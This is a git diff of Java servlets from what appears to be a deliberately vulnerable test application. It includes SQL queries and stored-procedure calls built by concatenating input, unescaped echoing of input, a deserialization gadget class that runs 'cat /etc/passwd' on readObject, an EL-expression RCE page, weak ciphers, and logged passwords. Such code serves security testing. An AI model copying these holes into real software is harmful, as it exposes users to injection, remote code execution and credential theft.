conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return output > 0; + } + public boolean getCustomersStoredProc2() { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + // Open the input file for sql query input values and keep the reader ready + BufferedReader reader = null; + try { + reader = new BufferedReader(new FileReader("/opt/sqlinput.txt")); + System.out.println("sqlinput.txt file opened successfully"); + } catch (IOException e) { + System.out.println("Failed to open Input file"); + e.printStackTrace(); + } + int output = 0; + boolean hasResults = false; + try { + // close the statement as its not a callable statement + stmt.close(); + CallableStatement c = null; + String line = reader.readLine(); + while (null != line) { + String line1 = line.replaceAll("[\\n]", ""); + System.out.println("Stored procedure being called with :" + line1); + c = conn.prepareCall("{call verifyuser(?,?,?)}"); + c.setString(1, line1); + c.setString(2, "shiva"); + c.registerOutParameter(3, Types.INTEGER); + //System.out.println("Stored procedure called successfully for1 " + line); + try { + c.execute(); + c.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } + // Loop through the data and print all artist names + //output = c.getInt(3); + line = reader.readLine(); + Thread.sleep(2000); + + } + //System.out.println("Customer Count: " + c.getInt(3)); + // Clean up + //c.close(); + reader.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return output > 0; + } + + public boolean getCustomerPreparedStatement2() { + + // Open the input file for sql query input values and keep the reader ready + BufferedReader reader = null; + try { + reader = new BufferedReader(new FileReader("/opt/sqlinput1.txt")); + System.out.println("sqlinput.txt file opened successfully"); + } + catch (IOException e) { + System.out.println("Failed to open Input file"); + e.printStackTrace(); + return false; + } + int output = 0; + boolean hasResults = false; + try { + String line = reader.readLine(); + while (null != line) { + String line1 = line.replaceAll("[\\n]", ""); + System.out.println("Stored procedure being called with :" + line1); + hasResults = getCustomersPreparedStatementExecute(line1, "Sardiwal"); + line = reader.readLine(); + Thread.sleep(2000); + } + reader.close(); + } + catch (Exception ex){ + ex.getStackTrace(); + return false; + } + + return true; + } + + public boolean getCustomersPreparedStatement(String methodName, String param1, String param2) { + if ( methodName.equals("execute")){ + return getCustomersPreparedStatementExecute(param1, param2); + } + if ( methodName.equals("executeQuery")){ + return getCustomersPreparedStatementExecuteQuery(param1, param2); + } + if ( methodName.equals("executeUpdate")){ + return getCustomersPreparedStatementExecuteUpdate(param1, param2); + } + + return false; + } + + public boolean StoredProcDirectPara(String name, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + boolean hasResults = false; + try { + // close the statement as its not a callable statement + stmt.close(); + CallableStatement c = null; + //String Proc_query = "{CALL sql_login('" + name +"',"+ pass + "')}"; + String Proc_query = "{? = call verifyuser('" + name +"','"+ pass + "')}"; + System.out.println("Created Procedure query string : " + Proc_query); + c = conn.prepareCall(Proc_query); + System.out.println("conn.prepareCall(Proc_query) called"); + //c.setString(1, name); + //c.setString(2, pass); + //c.registerOutParameter(3, Types.INTEGER); + c.registerOutParameter(1, Types.INTEGER); + System.out.println("DB stored Proc being called"); + c.execute(); + //c.executeQuery(); + // Loop through the data and print all artist names + //output = c.getInt(1); + System.out.println("Customer Count: " + c.getInt(1)); + // Clean up + c.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return output > 0; + } + + public boolean StoredProcDirectParaAsync(String name, String pass) { + Connection conn = connect(); + if (null == name) + {name = "Shiva";} + if (null == pass) + {pass = "Prakash";} + boolean hasResults = false; + if (conn == null) + return false; + //PreparedStatement stmt = null; + CallableStatement c = null; + try { + String Proc_query = "{CALL sql_login('" + name +"',"+ pass + "')}"; + System.out.println("Created Procedure query string : " + Proc_query); + c = conn.prepareCall(Proc_query); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + //stmt.setString(1, name); + //stmt.setString(2, pass); + System.out.println("CallableStatement.execute() being called with Last='" + name + "' Password='" + pass +"'"); + ExecutorService executorService = Executors.newSingleThreadExecutor(); + System.out.println("Created ExecutorService"); + CallableStatementTask task = new CallableStatementTask(c); + System.out.println("Created CallableStatementTask object"); + Future future = executorService.submit(task); + System.out.println("Executed executorService.submit(task)"); + hasResults = future.get().booleanValue(); + executorService.shutdown(); + System.out.println("Finished"); + //hasResults = stmt.execute(); + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + c.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return hasResults; + } + + public boolean PreparedStatementDirectParaAsync(String name, String pass) { + Connection conn = connect(); + if (null == name) + {name = "Shiva";} + if (null == pass) + {pass = "Prakash";} + boolean hasResults = false; + if (conn == null) + return false; + PreparedStatement stmt = null; + try { + String query = "SELECT FIRST, LAST from CUSTOMERS WHERE LAST = '" + name + "' AND PASSWORD = '" + pass + "'"; + System.out.println("QUERY :" + query); + stmt = conn.prepareStatement(query); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + //stmt.setString(1, name); + //stmt.setString(2, pass); + System.out.println("PreparedStatement.execute being called with Last='" + name + "' Password='" + pass +"'"); + ExecutorService executorService = Executors.newSingleThreadExecutor(); + System.out.println("Created ExecutorService"); + PrepareStatementTask task = new PrepareStatementTask(stmt); + System.out.println("Created PrepareStatementTask"); + Future future = executorService.submit(task); + System.out.println("Executed executorService.submit(task)"); + hasResults = future.get().booleanValue(); + executorService.shutdown(); + System.out.println("Finished"); + //hasResults = stmt.execute(); + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return hasResults; + } + + public boolean PreparedStatementDirectParaIdentifier1(String name, String pass) { + Connection conn = connect(); + if (null == name) + {name = "Shiva";} + if (null == pass) + {pass = "Prakash";} + boolean hasResults = false; + if (conn == null) + return false; + PreparedStatement stmt = null; + try { + String query = "SELECT FIRST," + name + " from CUSTOMERS WHERE LAST = \'" + pass + "\'"; + System.out.println("QUERY :" + query); + stmt = conn.prepareStatement(query); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + //stmt.setString(1, name); + //stmt.setString(2, pass); + System.out.println("PreparedStatement.execute being called with Last='" + name + "' Password='" + pass +"'"); + hasResults = stmt.execute(); + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return hasResults; + } + + public boolean PreparedStatementDirectParaIdentifier2(String name, String pass) { + Connection conn = connect(); + if (null == name) + {name = "Shiva";} + if (null == pass) + {pass = "Prakash";} + boolean hasResults = false; + if (conn == null) + return false; + PreparedStatement stmt = null; + try { + String query = "SELECT FIRST,last from CUSTOMERS WHERE first = \'" + pass + "\' order by " + name; + System.out.println("QUERY :" + query); + stmt = conn.prepareStatement(query); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + //stmt.setString(1, name); + //stmt.setString(2, pass); + System.out.println("PreparedStatement.execute being called with Last='" + name + "' Password='" + pass +"'"); + hasResults = stmt.execute(); + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return hasResults; + } + + public boolean PreparedStatementDirectParaIdentifier3(String name, String pass) { + Connection conn = connect(); + if (null == name) + {name = "Shiva";} + if (null == pass) + {pass = "Prakash";} + boolean hasResults = false; + if (conn == null) + return false; + PreparedStatement stmt = null; + try { + String query = "SELECT FIRST,\"" + name + "\" from CUSTOMERS WHERE LAST = \'" + pass + "\'"; + System.out.println("QUERY :" + query); + stmt = conn.prepareStatement(query); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + //stmt.setString(1, name); + //stmt.setString(2, pass); + System.out.println("PreparedStatement.execute being called with Last='" + name + "' Password='" + pass +"'"); + hasResults = stmt.execute(); + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return hasResults; + } + + public boolean PreparedStatementDirectPara(String name, String pass) { + Connection conn = connect(); + if (null == name) + {name = "Shiva";} + if (null == pass) + {pass = "Prakash";} + boolean hasResults = false; + if (conn == null) + return false; + PreparedStatement stmt = null; + try { + String query = "SELECT FIRST, LAST from CUSTOMERS WHERE LAST = \'" + name + "\' AND PASSWORD = \'" + pass + "\'"; + System.out.println("QUERY :" + query); + stmt = conn.prepareStatement(query); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + //stmt.setString(1, name); + //stmt.setString(2, pass); + System.out.println("PreparedStatement.execute being called with Last='" + name + "' Password='" + pass +"'"); + hasResults = stmt.execute(); + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return hasResults; + } + + public boolean getCustomersPreparedStatementExecute(String name, String pass) { + Connection conn = connect(); + boolean hasResults = false; + if (conn == null) + return false; + PreparedStatement stmt = null; + try { + String query = "SELECT FIRST, LAST from CUSTOMERS WHERE LAST = ? AND PASSWORD = ?"; + System.out.println("QUERY :" + query); + stmt = conn.prepareStatement(query); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + stmt.setString(1, name); + stmt.setString(2, pass); + System.out.println("PreparedStatement.execute being called with Last=" + name + " Password=" + pass); + hasResults = stmt.execute(); + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return hasResults; + } + + public boolean getCustomersPreparedStatementExecuteQuery(String name, String pass) { + Connection conn = connect(); + boolean hasResults = false; + if (pass ==null || pass.length() ==0){ + pass = ""; + + } + if (conn == null) + return false; + PreparedStatement stmt = null; + try { + String query = "SELECT FIRST, LAST from CUSTOMERS WHERE LAST = ? AND PASSWORD = ?"; + System.out.println("SQL:" + query); + stmt = conn.prepareStatement(query); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + stmt.setString(1, name); + stmt.setString(2, pass); + System.out.println("PreparedStatement.executeQuery being called with Last=" + name + " Password=" + pass); + ResultSet result = stmt.executeQuery(); + while (result.next()){ + hasResults = true; + System.out.println("PreparedStatement.executeQuery- returned true"); + break; + } + System.out.println("PreparedStatement.executeQuery- returned" + hasResults); + + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return hasResults; + } + + public boolean getCustomersPreparedStatementExecuteUpdate(String first, String last) { + Connection conn = connect(); + boolean hasResults = false; + if (conn == null) + return false; + PreparedStatement stmt = null; + try { + String query = "UPDATE CUSTOMERS SET FIRST = ? WHERE LAST = ?"; + System.out.println("SQL:" + query); + stmt = conn.prepareStatement(query); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + stmt.setString(1, first); + stmt.setString(2, last); + System.out.println("PreparedStatement.executeUpdate being called with First=" + first + " Last=" + last); + int count = stmt.executeUpdate(); + hasResults = count > 0; + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return hasResults; + } + + /** + * Asynchronously executes the callable statement. + * + */ + public static class CallableStatementTask implements Callable { + private PreparedStatement stmt; + public CallableStatementTask(CallableStatement statement){ + stmt = statement; + } + + public Boolean call() throws InvalidParameterException { + boolean hasResults = false; + int output = 0; + try { + System.out.println("CallableStatement.execute callable task"); + hasResults = stmt.execute(); + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + stmt.close(); + } catch (SQLException e) { + System.out.println("Exception 2"); + System.err.println(e.getMessage()); + } + } + return hasResults; + } + } + + /** + * Asynchronously executes the prepared statement. + * + */ + public static class PrepareStatementTask implements Callable { + private PreparedStatement stmt; + public PrepareStatementTask(PreparedStatement statement){ + stmt = statement; + } + + public Boolean call() throws InvalidParameterException { + boolean hasResults = false; + int output = 0; + try { + System.out.println("PreparedStatement.execute callable task"); + hasResults = stmt.execute(); + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + stmt.close(); + } catch (SQLException e) { + System.out.println("Exception 2"); + System.err.println(e.getMessage()); + } + } + return hasResults; + } + } +} diff --git a/src/main/java/com/endor/BotTest.java b/src/main/java/com/endor/BotTest.java new file mode 100644 index 0000000..370eb6d --- /dev/null +++ b/src/main/java/com/endor/BotTest.java @@ -0,0 +1,139 @@ +package com.endor; + + +import javax.servlet.AsyncContext; +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; +import java.sql.*; +import java.util.HashMap; + +@WebServlet(urlPatterns={"/BotTest"}, asyncSupported=true) +public class BotTest extends HttpServlet { + /* ... Same variables and init method as in SyncServlet ... */ + + boolean isPost = false; + protected void doPost(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response) throws javax.servlet.ServletException, IOException { + isPost = true; + System.out.println("In Post request method"); + doGet(request, response); + //String UserId = request.getParameter("UserId"); + // String Password = request.getParameter("Password"); + // String RandomInput = request.getParameter("RandomInput"); + } + + @Override + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.printCurrentTitle("Bot Test", response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + //HtmlUtil.printCurrentTitle("SQL", response); + + //String JavaScriptCode = ""; + + // out.println(JavaScriptCode); + // + // String JavaScriptCode1 = ""; + + //out.println(JavaScriptCode1); + + String form = "

" + + "First name:

" + + "Password:


" + + "" + "
"; + out.println(form); + + //String first = request.getParameter("UserId"); + //String last = request.getParameter("Password"); + //String pass = request.getParameter("Random_Value"); + + if (true == isPost){ + isPost = false; + System.out.println("In Post request condition"); + String TestInput = request.getParameter("TestInput"); + System.out.println(TestInput); + if (TestInput == null) { + System.out.println("Login failed"); + out.println("

Login failed

"); + } + else if (TestInput.equals("<91addca6-50b8-4d38-a2d2-6d89b9e461bb")) { + + System.out.println("Login Succeeded"); + out.println("

Login Succeeded

"); + } else { + System.out.println("Login Failed"); + out.printf("

%s

", TestInput); + } + } + + HtmlUtil.closeCol(response); + HtmlUtil.openCol(response); + HtmlUtil.closeCol(response); + HtmlUtil.closeRow(response); + HtmlUtil.closeTable(response); + String scriptTag = ""; + out.println(scriptTag); +// String scripttext = ""; +// out.println(scripttext); + out.println(""); + out.println(""); + + } +} + diff --git a/src/main/java/com/endor/CSPFilter.java b/src/main/java/com/endor/CSPFilter.java new file mode 100644 index 0000000..348f168 --- /dev/null +++ b/src/main/java/com/endor/CSPFilter.java @@ -0,0 +1,60 @@ +package com.endor; + +import java.io.IOException; +import java.io.PrintWriter; + +import javax.servlet.Filter; +import javax.servlet.FilterChain; +import javax.servlet.FilterConfig; +import javax.servlet.ServletException; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.annotation.WebFilter; +import javax.servlet.http.HttpServletResponse; + +/** + * Servlet Filter implementation class CSPFilter + */ +@WebFilter("/CSPFilter") +public class CSPFilter implements Filter { + + /** + * Default constructor. + */ + public CSPFilter() { + // TODO Auto-generated constructor stub + } + + /** + * @see Filter#destroy() + */ + public void destroy() { + // TODO Auto-generated method stub + } + + /** + * @see Filter#doFilter(ServletRequest, ServletResponse, FilterChain) + */ + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException { + // TODO Auto-generated method stub + // place your code here + + // pass the request along the filter chain + + PrintWriter out=servletResponse.getWriter(); + + HttpServletResponse response = (HttpServletResponse) servletResponse; + response.setContentType("text/plain"); + response.addHeader("X-Content-Type-Options", "nosniff"); + chain.doFilter(servletRequest, response); + out.print("filter is invoked to add X-Content-Type-Options:nosniff"); + } + + /** + * @see Filter#init(FilterConfig) + */ + public void init(FilterConfig fConfig) throws ServletException { + // TODO Auto-generated method stub + } + +} diff --git a/src/main/java/com/endor/CookieTest.java b/src/main/java/com/endor/CookieTest.java new file mode 100644 index 0000000..7e372f7 --- /dev/null +++ b/src/main/java/com/endor/CookieTest.java @@ -0,0 +1,100 @@ +package com.endor; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; + +@WebServlet(urlPatterns={"/cookietest"}) +public class CookieTest extends HttpServlet { + @Override + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + response.setContentType("text/html"); + PrintWriter out = response.getWriter(); + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.printCurrentTitle("Cookie Test", response); + + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + + out.println("

Added these cookies using HttpServletResponse.addCookie(Cookie c) method

"); + out.println("
"); + out.println("
"); + + int count = 0; + + // Set-Cookie: addCookie1=Secure_HttpOnly; Path=/; Secure; HttpOnly + Cookie secure_HttpOnlyCookie = new Cookie("addCookie1", "Secure_HttpOnly"); + secure_HttpOnlyCookie.setPath("/"); + secure_HttpOnlyCookie.setHttpOnly(true); + secure_HttpOnlyCookie.setSecure(true); + response.addCookie(secure_HttpOnlyCookie); + out.println(++count + ". addCookie1=Secure_HttpOnly; Path=/; Secure; HttpOnly"); + out.println("
"); + + // Set-Cookie: addCookie2=NotSecure_HttpOnly; Path=/; HttpOnly + Cookie notSecure_HttpOnlyCookie = new Cookie("addCookie2", "NotSecure_HttpOnly"); + notSecure_HttpOnlyCookie.setPath("/"); + notSecure_HttpOnlyCookie.setHttpOnly(true); + notSecure_HttpOnlyCookie.setSecure(false); + response.addCookie(notSecure_HttpOnlyCookie); + out.println(++count + ". addCookie2=NotSecure_HttpOnly; Path=/; HttpOnly"); + out.println("
"); + + // Set-Cookie: addCookie3=Secure_NotHttpOnly; Path=/; Secure; + Cookie secure_NotHttpOnlyCookie = new Cookie("addCookie3", "Secure_NotHttpOnly"); + secure_NotHttpOnlyCookie.setPath("/"); + secure_NotHttpOnlyCookie.setHttpOnly(false); + secure_NotHttpOnlyCookie.setSecure(true); + response.addCookie(secure_NotHttpOnlyCookie); + out.println(++count + ". addCookie3=Secure_NotHttpOnly; Path=/; Secure;"); + out.println("
"); + + // Set-Cookie: addCookie4=NotSecure_NotHttpOnly; Path=/; + Cookie notSecure_NotHttpOnlyCookie = new Cookie("addCookie4", "NotSecure_NotHttpOnly"); + notSecure_NotHttpOnlyCookie.setPath("/"); + notSecure_NotHttpOnlyCookie.setHttpOnly(false); + notSecure_NotHttpOnlyCookie.setSecure(false); + response.addCookie(notSecure_NotHttpOnlyCookie); + out.println(++count + ". addCookie4=NotSecure_NotHttpOnly; Path=/;"); + out.println("
"); + + out.println("
"); + out.println("
"); + out.println("
"); + + out.println("

Added these cookies using HttpServletResponse.addHeader(String name, String value) method with name as 'Set-Cookie'

"); + out.println("
"); + out.println("
"); + + // Set-Cookie: addCookie1=Secure_HttpOnly; Path=/; Secure; HttpOnly + response.addHeader("Set-Cookie","addHeaderCookie1=Secure_HttpOnly; Path=/; Secure; HttpOnly"); + out.println(++count + ". addHeaderCookie1=Secure_HttpOnly; Path=/; Secure; HttpOnly"); + out.println("
"); + + // Set-Cookie: addCookie2=NotSecure_HttpOnly; Path=/; HttpOnly + response.addHeader("set-cookie","addHeaderCookie2=NotSecure_HttpOnly; Path=/; HttpOnly"); + out.println(++count + ". addHeaderCookie2=NotSecure_HttpOnly; Path=/; HttpOnly"); + out.println("
"); + + // Set-Cookie: addCookie3=Secure_NotHttpOnly; Path=/; Secure; + response.addHeader("set-cookie","addHeaderCookie3=Secure_NotHttpOnly; Path=/; Secure"); + out.println(++count + ". addHeaderCookie3=Secure_NotHttpOnly; Path=/; Secure;"); + out.println("
"); + + // Set-Cookie: addCookie4=NotSecure_NotHttpOnly; Path=/; + response.addHeader("set-cookie","addHeaderCookie4=NotSecure_NotHttpOnly; Path=/;"); + out.println(++count + ". addHeaderCookie4=NotSecure_NotHttpOnly; Path=/;"); + out.println("
"); + + out.println(""); + out.println(""); + } +} diff --git a/src/main/java/com/endor/Deserialize1.java b/src/main/java/com/endor/Deserialize1.java new file mode 100644 index 0000000..21e5d41 --- /dev/null +++ b/src/main/java/com/endor/Deserialize1.java @@ -0,0 +1,143 @@ +package com.endor; + +import javax.servlet.ServletException; +import javax.servlet.annotation.MultipartConfig; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +import java.io.BufferedReader; +import java.io.ByteArrayInputStream; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.FileReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.PrintWriter; +import java.io.Serializable; +import java.nio.CharBuffer; +import java.sql.*; +//import java.util.Base64; +import java.util.HashMap; + + +class SomeClass implements Serializable { + private static String cmd = "cat /etc/passwd"; + private void readObject( ObjectInputStream stream ) + throws Exception { + stream.defaultReadObject(); + Runtime.getRuntime().exec( cmd ); + } +} + +// TODO rename to SQLServlet +@WebServlet(name = "Deserialize1") +@MultipartConfig(fileSizeThreshold=1024*1024*10, // 10 MB +maxFileSize=1024*1024*50, // 50 MB +maxRequestSize=1024*1024*100) + +public class Deserialize1 extends HttpServlet { + + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + + ObjectInputStream ois = null; + try { + InputStream inStr = request.getPart("inputfile").getInputStream(); + byte byteArray[] = new byte[inStr.available()]; + int iBytesRead = inStr.read(byteArray); + + System.out.println("Numberof bytes read from uploaded file : " + iBytesRead); + ois = new ObjectInputStream(new ByteArrayInputStream(byteArray)); + } + catch (Exception ex) { + ex.printStackTrace(); + } + + boolean bflag = false; + //Read the object from the data stream, and convert it back to a String + try { + System.out.println("Trying to call object.readObject"); + Object o = ois.readObject(); + System.out.println("Successfull called object.readObject \n Exiting the servlet.\n"); + bflag = true; + } catch (ClassNotFoundException | IOException e1) { + // TODO Auto-generated catch block + e1.printStackTrace(); + //doGet(request, response); + } + + //Print the result. + System.out.println("Done"); + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + try { + Thread.sleep(5000); + } + catch (Exception ex) + { + ex.getStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + HtmlUtil.printCurrentTitle("Deserialzation", response); + + String form = "
" + + ""+ + "

"+ + "" + "
"; + out.println(form); + String retVal = HttpURLConnectionExample.sendGET(); + //if (bflag) + out.println("Submitted"); + out.println(""); + out.println(""); + + ois.close(); + } + + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException + { + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + HtmlUtil.printCurrentTitle("Deserialzation", response); + + SomeClass s1 = new SomeClass(); + FileOutputStream fos = new FileOutputStream("object.ser"); + ObjectOutputStream os = new ObjectOutputStream(fos); + os.writeObject(s1); + os.close(); + + String form = "
" + + ""+ + "

"+ + "" + "
"; + out.println(form); + out.println(""); + out.println(""); + + + } + +} diff --git a/src/main/java/com/endor/ElExpression.java b/src/main/java/com/endor/ElExpression.java new file mode 100644 index 0000000..077d8a0 --- /dev/null +++ b/src/main/java/com/endor/ElExpression.java @@ -0,0 +1,42 @@ +package com.endor; + +import java.io.IOException; + +import javax.servlet.RequestDispatcher; +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.PrintWriter; + +@WebServlet("/elExpression") +public class ElExpression extends HttpServlet { + + private static final long serialVersionUID = 1L; + + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.printCurrentTitle("ELExpression RCE", response); + + String form = "
" + + "" + "
"; + out.println(form); + } + + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + + RequestDispatcher dispatcherObj = getServletContext().getRequestDispatcher("/elexpression.jsp"); + dispatcherObj.forward(request, response); + } +} \ No newline at end of file diff --git a/src/main/java/com/endor/EncryptionObjects.java b/src/main/java/com/endor/EncryptionObjects.java new file mode 100644 index 0000000..d8da46e --- /dev/null +++ b/src/main/java/com/endor/EncryptionObjects.java @@ -0,0 +1,26 @@ +package com.endor; + +import javax.crypto.Cipher; +import javax.crypto.NoSuchPaddingException; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; +import java.util.Random; + +public class EncryptionObjects { + public static MessageDigest md; + public static Cipher c; + public static SecureRandom sr; + public static Random r; + + static void init() { + try { + md = MessageDigest.getInstance("SHA-512"); + c = Cipher.getInstance("DESede"); + sr = SecureRandom.getInstance("SHA1PRNG"); + r = new Random(); + } catch (NoSuchAlgorithmException | NoSuchPaddingException e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/endor/EncryptionServlet.java b/src/main/java/com/endor/EncryptionServlet.java new file mode 100644 index 0000000..4cf4585 --- /dev/null +++ b/src/main/java/com/endor/EncryptionServlet.java @@ -0,0 +1,765 @@ +package com.endor; + +import javax.crypto.*; +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; +import java.security.*; +import java.security.spec.InvalidKeySpecException; +import java.security.spec.PKCS8EncodedKeySpec; +import java.security.spec.X509EncodedKeySpec; +import java.util.Arrays; +import java.util.Base64; +import java.util.HashMap; + +@WebServlet(name = "EncryptionServlet") +public class EncryptionServlet extends HttpServlet { + public EncryptionServlet() { + EncryptionObjects.init(); + } + + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + doGet(request, response); + } + + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + HtmlUtil.printCurrentTitle("Encryption", response); + + StringBuilder form = new StringBuilder(); + form.append("
") + .append("Data to encrypt:


") + .append("") + .append("

MessageDigest

") + .append("") + .append("") + + .append("

") + .append(": java.security.MessageDigest.getInstance(String algorithm)
") + .append(": java.security.MessageDigest.getInstance(String algorithm, Provider provider)
") + .append(": java.security.MessageDigest.getInstance(String algorithm, String provider)
") + .append(": external object for java.security.MessageDigest.getInstance(String algorithm)
") + .append("

") + + .append("

Crypto

") + .append("") + .append("") + + .append("   ") + + .append("") + + .append("

") + .append(": javax.crypto.Cipher.getInstance(String transformation)
") + .append(": javax.crypto.Cipher.getInstance(String transformation, Provider provider)
") + .append(": javax.crypto.Cipher.getInstance(String transformation, String provider)
") + .append(": external object for javax.crypto.Cipher.getInstance(String transformation)
") + .append(": RSA for javax.crypto.Cipher.getInstance(String transformation)
") + .append("

") + + .append("

SecureRandom
